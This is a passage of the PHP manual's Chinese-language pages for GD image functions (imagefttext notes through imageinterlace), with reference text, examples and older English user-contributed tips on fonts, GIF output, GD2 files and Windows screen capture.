GD1 was OK as it used pixels for font rendering, but GD2 uses points, which only makes any sense if you know the DPI that it assumes when rendering text on the image surface. I have not been able to find this anywhere in this documentation but have examined the GD2 source code and it appears to assume a DPI of 96 internally. However, this can easily be customised in the GD2 source so it cannot be assumed that all PHP interpreters out there have a GD2 compiled using 96dpi internally.

If it does, and you are using it to construct images whose target DPI is not 96, you can calculate the point size to supply to imageftbox() and imagefttext() like this:

<?php
/* 100mm x 100mm image */
$imageWidth = 100;
$imageHeight = 100;

/* 300 dpi image, therefore image is 1181 x 1181 pixels */
$imageDPI = 300;

/* unless we do this, text will be about 3 times too small */
$realFontSize = ($fontPt * $targetDPI) / 96;
?>
cory at lavacube dot com 09-Nov-2006 01:53
Since this function is not documented, I felt it was best that I shed some light on the extrainfo parameter.

You can see the full documentation at the GD reference manual:
http://www.boutell.com/gd/manual2.0.33.html#gdImageStringFTEx

Basically it accepts an array containing the following options as keys and an associated value:
(int) flags [more info in the GD reference manual]
(double/float) linespacing
(int) charmap
(int) hdpi
(int) vdpi
(string) xshow
(string) fontpath

My C/C++ is not very good but this is the best I can explain. Read the documentation for more information. :-)

A very simple example of usage would be:

<?php

imagefttext( $img_pointer, 12, 0, 10, 10, [-insertsomecolour-], '/path/to/font.ttf', "THIS IS A TEST\nTHIS IS LINE 2\nTHIS IS LINE3", array('lineheight'=>2.0) );

?>
20-Feb-2006 02:19
I am using php 5.1.2 on a winxp machine. I was  getting into the TrueType fonts and wanted to see which ones would look best incorporated into web images. So I created the following script that prints out samples of all the TrueType fonts found in my C:\Windows\Fonts directory. The script takes only one request parameter - 'fsize'. It stands for font-size and lets you see each font in any size you wish -- I limited it to values between 5 and 48. Hope this helps someone other than me :)

I apologize in advance if any of my code is not the prettiest-written php code even seen -- I have only been coding in php for the past week (I'm a perl-guy usually).

<?php
    list($x, $y, $maxwidth) = array(0, 0, 0);

    $fsize = (int)$_REQUEST['fsize'];
    if ($fsize < 5 or $fsize > 48) $fsize = 8;

    header("Content-type: image/jpeg");

    // don't know how wide or tall the font samples will be.
    // create a huge image for now, we'll copy it smaller
    // later when we know how large the image needs to be.
    $im = imagecreate(1000, 20000) or die('could not create!');
    $clr_white = imagecolorallocate($im, 255, 255, 255);
    $clr_black = imagecolorallocate($im, 0, 0, 0);

    $font_path = "C:/Windows/Fonts/";
    $dh = opendir($font_path);
    while (($file = readdir($dh)) !== FALSE) {
        // we're only dealing with TTY fonts here.
        if (substr(strtolower($file), -4) != '.ttf') continue;

        $str = "Sample text for '$file'";
        $bbox = imagettfbbox(
            $fsize, 0, "{$font_path}{$file}", $str
        );
        $ww = $bbox[4] - $bbox[6];
        $hh = $bbox[1] - $bbox[7];

        imagettftext(
            $im, $fsize, 0, $x, $y,
            $clr_black, "{$font_path}{$file}", $str
        );

        $y += $hh + 20;
        if ($ww > $maxwidth) $maxwidth = $ww;
    }

    closedir($dh);

    // ok, now we can chop off the extra space from the
    // 1000 x 20000 image.
    $im2 = imagecreate($maxwidth + 20, $y);
    imagecopyresized(
        $im2, $im, 0, 0, 0, 0, $maxwidth + 20,
        $y, $maxwidth + 20, $y
    );
    imagejpeg($im2);
    imagedestroy($im);
    imagedestroy($im2);
?>
vsazel at atlas dot cz 23-Nov-2005 09:16
If you want to get the best result in monochrome font rendering, change render_mode to FT_LOAD_RENDER. It's the last parameter of FT_Load_Glyph() function (in gdft.c).
dnf at seznam dot cz 23-Jun-2005 02:25
For negative image you must add one line after the $grayColor computation:

$grayColor =  ~ $grayColor & 0x7FFFFFF;
aidan at php dot net 29-May-2005 03:11
This function is very simular to imageffttext(), you may find the information provided on its manual page helpful:

http://php.net/imagettftext
MagicalTux at FF dot st 27-Jan-2005 02:20
When compiling PHP with FreeType 2 support, you'll probably have some problems if - for example - you use debian and didn't compile freetype2 yourself...
If configure fails after saying "If configure fails, try --with-xpm-dir..." you most likely have FreeType1 installed, but not freetype2 ...

Do this as root :
apt-get install libfreetype6-dev

It took me some time to find out that apt-get install freetype2 is actually installing freetype1 ...
kagaku at gmail dot com 07-Dec-2004 08:27
I found myself in need of an align right function and found one on the imagepstext manual page. I can't imagine I'm the only person who's needed to use this, so here's a slightly modified version that works with imagefttext:

<?
  function align_right($string, $fontfile, $imgwidth, $fontsize){
    $spacing = 0;
    $line = array("linespacing" => $spacing);
    list($lx,$ly,$rx,$ry) = imageftbbox($fontsize,0,$fontfile,$string,$line);
    $textwidth = $rx - $lx;
    $imw = ($imgwidth-10-$textwidth);
    return $imw;
  }
?>
eshenk at comcast dot net 24-Jan-2004 02:05
I wrote a bit of code to gather all the .ttf files in the directory with this script, and randomize them to write text on a header image for my site. The only catch is the font files have to be named 1.ttf, 2.ttf etc etc.

<?php

srand((double)microtime()*1234567); // Start the random gizmo
$image = imagecreatefromjpeg(rand(1,exec('ls *.jpg | wc -l')) . ".jpg"); // Get a background
$font = rand(1,exec('ls *.ttf | wc -l')) . ".ttf"; // Get a font
$textcolor = imagecolorallocate($image,0,0,0); // Set text color

$text1 = "shenko.homedns.org"; // Here is our text

imagettftext($image, 50, 0, 20, 50, $textcolor, $font, $text1); // Write the text with a font

header("Content-type: image/jpeg"); // Its a JPEG
imagejpeg($image,'',90); // Zap it to the browser
imagedestroy($image); // Memory Freeupage

?>
sebastiand at gmx dot de 17-Sep-2003 02:07
After spending the evening with some work on automatically generated images, I had the idea to switch of anti-aliasing (looking, if some font would look better that way), which turned out not to be quite so easy.

Actually you have to use the negative of the desired color to switch of antialising. I include the corresponding line from my code (line split up):

// USE NEGATIVE OF DESIRED COLOR TO SWITCH OF ANTI-ALIASING
ImageFTText ($neuesBild,$fontsize,$fontangle,$TextPosX,$TextPosY,
-$custom_fg,$fonttype,$text,array());
jwilliam at kcr dot uky dot edu 21-Nov-2002 12:22
Thanks for the script!  I modified it to show several fonts that I was wanting to use.  I am using GD-2.0.7, FreeType-2.1.3(text rotation fix,among others), and PHP-4.2.3 and had to include the array information to get it to work.

Code change follows:
$fontfile="/usr/local/fonts/ttf/bookantbd.ttf";
// Waterfall of point sizes to see what Freetype 2's autohinting looks like:
//
for($i=4;$i<=12;$i++){
  ImageFtText($image,$i,0,10,(280+$i*14),$forecolor,$fontfile, bookantbd . $i . ". " . $string, array("linespacing" => 1.0));
}

John
ben at tNOSPAManjNOSPAMo dot cnospamordots dot om 08-Aug-2002 12:59
If you're interested in turning off FreeType hinting, search for the following line in the gd source (gdft.c):
      err = FT_Load_Glyph (face, glyph_index, FT_LOAD_DEFAULT);
and replace it with
      err = FT_Load_Glyph (face, glyph_index, FT_LOAD_NO_HINTING);

Recompile GD, and vo?la: beauteous antialiasing.


对 GD 图像应用伽玛校正

  • ? imagefttext
  • imagegd2 ?
  • PHP Manual
  • GD 和图像处理 函数
  • 对 GD 图像应用伽玛校正

imagegammacorrect

(PHP 4, PHP 5, PHP 7, PHP 8)

imagegammacorrect — 对 GD 图像应用伽玛校正

说明

imagegammacorrect(GdImage $image, float $input_gamma, float $output_gamma): bool

在指定输入/输出伽玛的情况下，对给指定的 gd image 应用伽玛校正。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

input_gamma

输入伽玛。

output_gamma

输出伽玛。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 imagegammacorrect() 用法

<?php
// Create image instance
$im = imagecreatefromgif('php.gif');

// Correct gamma, out = 1.537
imagegammacorrect($im, 1.0, 1.537);

// Save and free image
imagegif($im, './php_gamma_corrected.gif');
imagedestroy($im);
?>

User Contributed Notes

There are no user contributed notes for this page.


将 GD2 图像输出到浏览器或文件

  • ? imagegammacorrect
  • imagegd ?
  • PHP Manual
  • GD 和图像处理 函数
  • 将 GD2 图像输出到浏览器或文件

imagegd2

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imagegd2 — 将 GD2 图像输出到浏览器或文件

说明

imagegd2(
GdImage $image,
?string $file = null,
int $chunk_size = 128,
int $mode = IMG_GD2_RAW
): bool

输出 GD2 图像到指定 file。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

file

文件保存的路径或者已打开的流资源（此方法返回后自动关闭该流资源），如果未设置或为 null，将会直接输出原始图象流。

chunk_size

块大小。

mode

可以是 IMG_GD2_RAW 或 IMG_GD2_COMPRESSED。默认为 IMG_GD2_RAW。

返回值

成功时返回 true， 或者在失败时返回 false。

Caution

如果 libgd 输出图像失败，函数会返回 true。

更新日志

版本 | 说明
8.0.3 | file 现在可以为 null。
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 输出 GD2 图像

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, "A Simple Text String", $text_color);

// Output the image
imagegd2($im);

// Free up memory
imagedestroy($im);
?>

Example #2 保存 GD2 图像

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, "A Simple Text String", $text_color);

// Save the gd2 image
// The file format for GD2 images is .gd2, see http://www.libgd.org/GdFileFormats
imagegd2($im, 'simple.gd2');

// Free up memory
imagedestroy($im);
?>

注释

Note:

GD2 格式通常用于允许快速加载部分图像。请注意，GD2 格式仅可用于与 GD2 兼容的应用程序。

Warning

The GD and GD2 image formats are proprietary image formats of libgd. They have to be regarded obsolete, and should only be used for development and testing purposes.

参见

  • imagegd() - 将 GD 图像输出到浏览器或文件

User Contributed Notes

Nick 13-Jun-2011 12:49
You can use this function in combination with imagecreatefromstring() to clone the gd resource with minimum fuss (no writing to tmp file):

<?php
function cloneGd($gd)
{
    ob_start();
    imagegd2($gd);
    return imagecreatefromstring(ob_get_clean());
}
?>
mark at teckis dot com 16-Apr-2003 06:33
yes, the gd2 file format does improve the speed of image creations as the data-setup is designed to be native for the GD function - ie, the image doesn't have to be converted to a usable format prior to processing.

you may also note that the newer gd2 format creates much smaller size files than the older imagegd function, certainly for images involving chunks of single colours anyway. you'll probably find this function most useful for saving overlay images or background images used in larger image creation scripts.

to read a ping or jpeg image (.png / .jpg) and save a .gd2 version to server...

$img = $_GET['img'];
if(file_exists($img))
    {
    $dim = getimagesize($img);
    $cr = ($dim[2] < 4) ? ($dim[2] < 3) ? ($dim[2] < 2) ? NULL : imagecreatefromjpeg($img) : imagecreatefrompng($img) : Null;
    if($cr !== NULL)
          {
         imagegd2($cr,substr($img,0,strrpos($img,'.')).'.gd2');
          }
    }

should save a copy with the same filename and directory using extension .gd2 - which can then be nicely and swiftly read using either imagecreatefromgd2 or imagecreatefromgd2part


将 GD 图像输出到浏览器或文件

  • ? imagegd2
  • imagegetclip ?
  • PHP Manual
  • GD 和图像处理 函数
  • 将 GD 图像输出到浏览器或文件

imagegd

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imagegd — 将 GD 图像输出到浏览器或文件

说明

imagegd(GdImage $image, ?string $file = null): bool

输出 GD 图像到指定 file。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

file

文件保存的路径或者已打开的流资源（此方法返回后自动关闭该流资源），如果未设置或为 null，将会直接输出原始图象流。

返回值

成功时返回 true， 或者在失败时返回 false。

Caution

如果 libgd 输出图像失败，函数会返回 true。

更新日志

版本 | 说明
8.0.3 | file 现在可以为 null。
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。
7.2.0 | imagegd() 现在允许输出真彩色图像。以前，已隐式转换为调色板。

示例

Example #1 输出 GD 图像

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, "A Simple Text String", $text_color);

// Output the image
imagegd($im);

// Free up memory
imagedestroy($im);
?>

Example #2 保存 GD 图像

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, "A Simple Text String", $text_color);

// Save the gd image
// The file format for GD images is .gd, see http://www.libgd.org/GdFileFormats
imagegd($im, 'simple.gd');

// Free up memory
imagedestroy($im);
?>

注释

Note:

GD 格式通常用于允许快速加载部分图像。请注意，GD 格式仅可用于与 GD 兼容的应用程序。

Warning

The GD and GD2 image formats are proprietary image formats of libgd. They have to be regarded obsolete, and should only be used for development and testing purposes.

参见

  • imagegd2() - 将 GD2 图像输出到浏览器或文件

User Contributed Notes

There are no user contributed notes for this page.


Get the clipping rectangle

  • ? imagegd
  • imagegetinterpolation ?
  • PHP Manual
  • GD 和图像处理 函数
  • Get the clipping rectangle

imagegetclip

(PHP 7 >= 7.2.0, PHP 8)

imagegetclip — Get the clipping rectangle

说明

imagegetclip(GdImage $image): array

imagegetclip() retrieves the current clipping rectangle, i.e. the area beyond which no pixels will be drawn.

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

返回值

The function returns an indexed array with the coordinates of the clipping rectangle which has the following entries:

  • x-coordinate of the upper left corner
  • y-coordinate of the upper left corner
  • x-coordinate of the lower right corner
  • y-coordinate of the lower right corner

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 imagegetclip() example

Setting and retrieving the clipping rectangle.

<?php
$im = imagecreate(100, 100);
imagesetclip($im, 10,10, 89,89);
print_r(imagegetclip($im));

以上示例会输出：

Array
(
    [0] => 10
    [1] => 10
    [2] => 89
    [3] => 89
)

参见

  • imagesetclip() - Set the clipping rectangle

User Contributed Notes

There are no user contributed notes for this page.


Get the interpolation method

  • ? imagegetclip
  • imagegif ?
  • PHP Manual
  • GD 和图像处理 函数
  • Get the interpolation method

imagegetinterpolation

(PHP 8)

imagegetinterpolation — Get the interpolation method

说明

imagegetinterpolation(GdImage $image): int

Gets the currently set interpolation method of the image.

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

返回值

Returns the interpolation method.

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

参见

  • imagesetinterpolation() - Set the interpolation method

User Contributed Notes

There are no user contributed notes for this page.


输出图象到浏览器或文件。

  • ? imagegetinterpolation
  • imagegrabscreen ?
  • PHP Manual
  • GD 和图像处理 函数
  • 输出图象到浏览器或文件。

imagegif

(PHP 4, PHP 5, PHP 7, PHP 8)

imagegif — 输出图象到浏览器或文件。

说明

imagegif(GdImage $image, resource|string|null $file = null): bool

imagegif() 从图像 image 在 file 中创建 GIF 图像。image 参数是 imagecreate() 或 imagecreatefrom* 函数的返回值。

图像格式为 GIF87a。如果用了 imagecolortransparent() 使图像为透明，则其格式为 GIF89a。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

file

文件保存的路径或者已打开的流资源（此方法返回后自动关闭该流资源），如果未设置或为 null，将会直接输出原始图象流。

返回值

成功时返回 true， 或者在失败时返回 false。

Caution

如果 libgd 输出图像失败，函数会返回 true。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 使用 imagegif() 输出图像

<?php
// 创建新的图像实例
$im = imagecreatetruecolor(100, 100);

// 设置背景为白色
imagefilledrectangle($im, 0, 0, 99, 99, 0xFFFFFF);

//在图像上绘制文本字符串
imagestring($im, 3, 40, 20, 'GD Library', 0xFFBA00);

// 输出图像到浏览器
header('Content-Type: image/gif');

imagegif($im);
imagedestroy($im);
?>

Example #2 使用 imagegif() 将 PNG 图像转换成 GIF

<?php

// 载入 PNG
$png = imagecreatefrompng('./php.png');

// 以 GIF 保存图像
imagegif($png, './php.gif');

// 释放内存
imagedestroy($png);

// 完工
echo 'Converted PNG image to GIF with success!';
?>

注释

Note:

以下代码段通过自动检测 GD 支持的图像类型来写出移植性更好的 PHP 程序。用更灵活的代码替代了原来的 header("Content-type: image/gif"); imagegif($im);：

<?php
// 创建新的图像实例
$im = imagecreatetruecolor(100, 100);

// 在这里对图像进行一些操作

// 处理输出
if(function_exists('imagegif'))
{
// 针对 GIF
header('Content-Type: image/gif');

imagegif($im);
}
elseif(function_exists('imagejpeg'))
{
// 针对 JPEG
header('Content-Type: image/jpeg');

imagejpeg($im, NULL, 100);
}
elseif(function_exists('imagepng'))
{
// 针对 PNG
header('Content-Type: image/png');

imagepng($im);
}
elseif(function_exists('imagewbmp'))
{
// 针对 WBMP
header('Content-Type: image/vnd.wap.wbmp');

imagewbmp($im);
}
else
{
imagedestroy($im);

die('No image support in this PHP server');
}

// 如果发现图像是以上的格式之一，就从内存中释放
if($im)
{
imagedestroy($im);
}
?>

Note:

可以用 imagetypes() 函数检查是否支持某种图像格式：

<?php
if(imagetypes() & IMG_GIF)
{
header('Content-Type: image/gif');
imagegif($im);
}
elseif(imagetypes() & IMG_JPG)
{
/* ... etc. */
}
?>

参见

  • imagepng() - 将 PNG 图像输出到浏览器或文件
  • imagewbmp() - 输出图象到浏览器或文件。
  • imagejpeg() - 输出图象到浏览器或文件。
  • imagetypes() - 返回 PHP 内置支持的图像类型

User Contributed Notes

coldume 06-Sep-2013 07:19
To keep GIF animation, you can try the class writing based on GD
GD Enhancer http://www.gdenhancer.com/
mail at ignore dot area dot nospam dot joshho dot com 11-Jan-2012 10:37
apparently GD does not support animated GIFs.

instead, we're stuck with the old fashioned way:
<?php
header('Content-Type: image/gif');
echo file_get_contents($destPathImage);
?>
grant k. 27-Jul-2010 10:46
It should be noted that if you only want to "save" the file, and not display it to the browser, you should catch the imagegif into a variable.

Example:

<?php
//Only saves the file to a destination, no display

$image_value = imagegif($image, $save_file_to_path);

//Saves file and attempts to display it, but will throw an error message

imagegif($image, $save_file_to_path);

//Only displays, never saves as a file
imagegif($image);

//Note: In [my] third example, for displaying only, it is probably good to use the "header('Content-type: image/gif'); declaration, but it's not needed in the first example for saving as a .gif file.
?>
stefan at colulus dot com 30-May-2008 11:18
I worked out a script that allows the transfer of alphanumeric data to be placed on an image. The HTML feature is img src and the php feature is imagettftext. This simple code will increment from 1 to 3 on images.

code:

<?php
//ImageCall.php -- This script will call a script to produce the image.
for($next = 1;$next < 4; $next++){
print "Image $next:<br>";
print "<img src = 'Image.php?\$text=$next'>";
print "<br><br>";
}
?>

<?php
//Image.php -- This script creates a square image and places the text on it.

// image size and color
$im = ImageCreate(77,77);
$color1 = ImageColorAllocate($im,0x66,0xCC,0x00);
$color2 = ImageColorAllocate($im,0x33,0x66,0x00);
$color3 = ImageColorAllocate($im,0x00,0x99,0x00);
$color4 = ImageColorAllocate($im,0x3D,0x3D,0x3D);

// image creation
ImageFilledRectangle($im,1,1,76,76,$color1);
ImageFilledpolygon($im, array (76,1,1,76,76,76),3,$color2);
ImageFilledRectangle($im,5,5,72,72,$color3);

// determine numeric center of image
$size = ImageTTFBBox(45,0,'impact',$_GET['$text']);
$X = (77 - (abs($size[2]- $size[0])))/2;
$Y = ((77 - (abs($size[5] - $size[3])))/2 + (abs($size[5] - $size[3])));

//places numeric information on image
ImageTTFText($im,45,0,($X-1),$Y,$color4,'impact',$_GET['$text']);

//returns completed image to calling script
Header('Content-Type: image/png');
Imagegif($im);

?>
alan hogan dot com slash contact 12-Nov-2007 02:47
Note that you *can* save with a transparent color **and dither** using GD2.
For a useful example, see the png-to-gif function in my coment here:
http://www.php.net/manual/en/function.imagecolorat.php
rokfaith at gmail dot com 06-Jul-2006 03:34
to create an animated gif with gifsicle, but without storing temporary images on disk:

<?php
$cmd = 'gifsicle --loop -O1 --multifile --delay 25 - > '.$outfile;
$desc = array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w"));
$proc = proc_open($cmd, $desc, $pipes);
if (!is_resource($proc)) {
  die('Unable to start gifsicle');
}
for ($frame=0; $frame<$total_frames; $frame++) {
  $image = RenderFrame($frame);
  ob_start();
  imagegif($image);
  fwrite($pipes[0], ob_get_contents());
  ob_end_clean();
  imagedestroy($image);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($proc);
?>

just define $outfile and RenderFrame(), and that's it.
Leigh Purdie 03-Jul-2005 05:17
Simple animated-gif hack (requires ImageMagick):

<html><body>
<?php
        $icount=0;
        for($count=0;$count<40;$count++) {
                $im=imagecreate(200,200);
                imagecolorallocate($im,0,0,255);
                $white=imagecolorallocate($im,255,255,255);
                imagerectangle($im,$count,$count,200-$count,200-$count,$white);
                $icount++;
                $tcount=sprintf("%04d",$icount);
                imagegif($im,"/tmp/test-$tcount.gif");
                imagedestroy($im);
        }
        exec("/usr/bin/convert -delay 2 -loop 10 /tmp/test*.gif /var/www/html/Tests/Test-Anim.gif");
?>
<img src="/Tests/Test-Anim.gif">
</body>
</html>
Lauri Harpf 23-Jun-2005 09:25
Using <IMG SRC="image.php"> to dynamically generate images is a bit problematic regarding cache. Unless caching is activated, IE seems to get confused about the type of the image when attempting to save it. A .GIF created in the above way causes the browser to suggest saving the image with .BMP, not .GIF.

A solution is to activate cache with session_cache_limiter('public'); in "image.php", after which IE will correctly save as .GIF. If you do not want the cache to block any changes in the dynamic image, make sure that the SRC keeps changing with every reload. Something like "image.php/" . mt_rand(1,100000) . ".gif" seems to work well.

Might be trivial to some, but I spent a couple of hours figuring out why IE always wants to save my dynamic .GIF's as .BMP's.
jemore at nospam dot m6net dot fr 22-Nov-2003 10:24
If you open a truecolor image (with imageCreateFromPng for example), and you save it directly with imagegif, you can have a 500 internal server error. You must use imageTrueColorToPalette to reduce to 256 colors before saving the image in GIF format.
polone at townnews dot com 03-Apr-2002 11:40
read also RFC2557: http://www.ietf.org/rfc/rfc2557.txt
For handling inline images in email.
----

I've been playing around with the "data" URL scheme as proposed by RFC 2397 which states how to perform inline, bas64 encoded images. A number of browsers support this format from some of my tests and would be an interesting way of removing overhead from multiple HTTP connections. Basically, the IMG tag would be:

<IMG SRC="/-/data:image/gif;base64,R0lGODdhMAAwAPAAAAAAAP///ywAAAAAMAAw AAAC8IyPqcvt3wCcDkiLc7C0qwyGHhSWpjQu5yqmCYsapyuvUUlvONmOZtfzgFz ByTB10QgxOR0TqBQejhRNzOfkVJ+5YiUqrXF5Y5lKh/DeuNcP5yLWGsEbtLiOSp a/TPg7JpJHxyendzWTBfX0cxOnKPjgBzi4diinWGdkF8kjdfnycQZXZeYGejmJl ZeGl9i2icVqaNVailT6F5iJ90m6mvuTS4OK05M0vDk0Q4XUtwvKOzrcd3iq9uis F81M1OIcR7lEewwcLp7tuNNkM3uNna3F2JQFo97Vriy/Xl4/f1cf5VWzXyym7PH hhx4dbgYKAAA7" ALT="Larry">

Something like that. Note also that I start the URI with "/-/" before the rest of the data scheme spec. If you don't start it with this, it won't work in a lot of the different browsers I tested (such as IE). Note this is useful for very small images only (as most browsers appear to have a limitation on the size of HTML element data of 1024). Browsers where this syntax worked that I tested are the following:

IE 6.x (windows)
Mozilla 0.97+ (linux)
Opera 5, 6 (windows)
Netscape 4.7+ (mac, windows)
IE 5 (macintosh)

This should work for other image types as well, such as PNG. JPEG files aren't really suggested (usually, these files are too large). BTW - there is no advantage to this method if the image will appear more than ONCE in the page because you will be transmitting the same data multiple times as opposed to just once (most browsers realize that already downloaded data that has multiple references only requires one HTTP call).

Consider using this method if you want to make a single PHP program that outputs both text and an image AND you want to make only on HTTP call. Cheers.
kremlin at home dot com 26-Feb-2001 09:45
Animated GIFs as well as transparent GIFs qualify as GIF89a's and you should use ImageColorTransparent().
david at hooshla dot com 28-Apr-2000 07:45
This is how you load and display an image file:

<?php
Header("Content-Type: image/gif");
$fn=fopen("./imagefile.gif","r");
fpassthru($fn);
?>

Note that there are no new-lines in the content type header.


Captures the whole screen

  • ? imagegif
  • imagegrabwindow ?
  • PHP Manual
  • GD 和图像处理 函数
  • Captures the whole screen

imagegrabscreen

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

imagegrabscreen — Captures the whole screen

说明

imagegrabscreen(): GdImage|false

Grabs a screenshot of the whole screen.

Note:

This function is only available on Windows.

参数

此函数没有参数。

返回值

Returns an image object on success, false on failure.

更新日志

版本 | 说明
8.0.0 | On success, this function returns a GDImage instance now; previously, a resource was returned.

示例

Example #1 imagegrabscreen() example

This example demonstrates how to take a screenshot of the current screen and save it as a png image.

<?php
$im = imagegrabscreen();
imagepng($im, "myscreenshot.png");
imagedestroy($im);
?>

参见

  • imagegrabwindow() - Captures a window

User Contributed Notes

divinity76 at gmail dot com 22-Mar-2019 02:45
if you for whatever reason need this in Cygwin, this can be done with the library at https://github.com/divinity76/autoit_php

- cygwin-compatible rough equivalent:

<?php
if(!function_exists("imagegrabscreen")){
    function imagegrabscreen()/*:gd-resource*/{
        require_once("autoit.class.php");
        $au=new AutoIt();
        $png_binary=$au->_ScreenCapture_Capture();
        return imagecreatefromstring($png_binary);
    }
}

(note that unlike the real imagegrabscreen() , this function may throw a RuntimeException if there is a problem taking the picture, or if autoit.class.php cannot be loaded)
Nitrogen 12-Dec-2009 07:22
If you have multiple displays set up, this function will only grab the primary display; not all of them like you would with the 'Print Screen' key.

Also, this should be pretty obvious but I'll mention it anyway, if you're running GPU-intensive applications (not CPU), calling this function will cause quite some significant lag to your machine and server response until the request is complete.
andrew at local dot co dot nz 18-Apr-2008 04:02
For this to work your Apache service must be set to 'Allow service to interact with desktop' otherwise you will just get a blank image. To fix this right-click My Computer, select Manage/Services and Applications/Services - find the apache service (like Apache2) and right-click, select Properties - choose the Log on tab and check the 'Allow service to interact with desktop' checkbox. Restart Apache.


Captures a window

  • ? imagegrabscreen
  • imageinterlace ?
  • PHP Manual
  • GD 和图像处理 函数
  • Captures a window

imagegrabwindow

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

imagegrabwindow — Captures a window

说明

imagegrabwindow(int $handle, bool $client_area = false): GdImage|false

Grabs a window or its client area using a windows handle (HWND property in COM instance)

Note:

This function is only available on Windows.

参数

handle

The HWND window ID.

client_area

Include the client area of the application window.

返回值

Returns an image object on success, false on failure.

错误／异常

E_NOTICE is issued if handle is invalid window handle. E_WARNING is issued if the Windows API is too old.

更新日志

版本 | 说明
8.0.0 | On success, this function returns a GDImage instance now; previously, a resource was returned.
8.0.0 | client_area expects a bool now; previously it expected an int.

示例

Example #1 imagegrabwindow() example

Capture a window (IE for example)

<?php
$browser = new COM("InternetExplorer.Application");
$handle = $browser->HWND;
$browser->Visible = true;
$im = imagegrabwindow($handle);
$browser->Quit();
imagepng($im, "iesnap.png");
imagedestroy($im);
?>

Capture a window (IE for example) but with its content

<?php
$browser = new COM("InternetExplorer.Application");
$handle = $browser->HWND;
$browser->Visible = true;
$browser->Navigate("http://www.libgd.org");

/* Still working? */
while ($browser->Busy) {
com_message_pump(4000);
}
$im = imagegrabwindow($handle, 0);
$browser->Quit();
imagepng($im, "iesnap.png");
imagedestroy($im);
?>

参见

  • imagegrabscreen() - Captures the whole screen

User Contributed Notes

nico ->atdot 29-Sep-2007 08:37
If you just want to take a screenshot of a website WITHOUT the ugly IE window around it, the easiest way is setting the "Fullscreen" property to TRUE.

$browser->Fullscreen = true;

This is basically the same as pressing F11 once the browser is open, so you just get the actual website.


启用或禁用隔行扫描

  • ? imagegrabwindow
  • imageistruecolor ?
  • PHP Manual
  • GD 和图像处理 函数
  • 启用或禁用隔行扫描

imageinterlace

(PHP 4, PHP 5, PHP 7, PHP 8)

imageinterlace — 启用或禁用隔行扫描

说明

imageinterlace(GdImage $image, ?bool $enable = null): bool

imageinterlace() 打开或关闭隔行扫描位（bit）。

如果设置了隔行扫描位（interlace bit）并且图像被用作 JPEG，将会创建为渐进式 JPEG 图像。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

interlace

如果为 true，则图像开启隔行扫描，如果为 false，否则将关闭隔行扫描。传递 null 不会让隔行扫描行为发生改变。

返回值

如果为图像设置了隔行扫描位，则返回 true，否则返回 false。

更新日志

版本 | 说明
8.0.5 | imageinterlace() 现在返回 bool；之前返回 int（非零为隔行扫描图像，否则为 0）
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。
8.0.0 | enable 现在接受 bool；之前接受 int。

示例

Example #1 使用 imageinterlace() 打开隔行扫描

<?php
// 创建图像实例
$im = imagecreatefromgif('php.gif');

// 打开隔行扫描
imageinterlace($im, true);

// 保存隔行扫描图像
imagegif($im, './php_interlaced.gif');
imagedestroy($im);
?>

User Contributed Notes

info at dvorakj dot com 29-Oct-2020 09:09
This function will be great only after that browsers will stop sending next data if it is already sent enought to display them on users's screen due to its possibilities and more pixels to send are absolutely useless. This is the current purpose of jpeg progressivity and still not implemented. After that, you doesn't have to create many versions of pictures for different densities of screens and it will save a lot of things.
razvan_bc at yahoo dot com 14-Jan-2020 08:54
this function really saved my day !!!

well for testing i should upload several jpg some had jfif encoding ,
so some are color losing when i include them in fpdf ,tcpdf (i tryed 2 open sources to minimize errors to know wht's wrong) .
the thumb function i used now (fixed) is

public static function jpgtofilethumb($file,$thumb,$lun,$quality){
        //de la php.net
        list ($x, $y) = @getimagesize ($file);
        $img = @imagecreatefromjpeg ($file);
        if ($x > $y) {
            $tx = $lun;
            $ty = round($lun / $x * $y);
        } else {
            $tx = round($lun / $y * $x);
            $ty = $lun;
        }
        $thb = imagecreatetruecolor ($tx, $ty);

        // Enable interlancing
        if(imageistruecolor($thb)) imageinterlace($thb, true);

        imagecopyresampled ($thb,$img, 0,0, 0,0, $tx,$ty, $x,$y);
        imagejpeg ($thb, $thumb, $quality);
        imagedestroy ($thb);
        imagedestroy ($img);
    }
Gerry Danen 24-Jan-2007 05:20
It was suggested that this function can be used to retrieve the interlace bit of an image that is stored in a file. This is not the case.
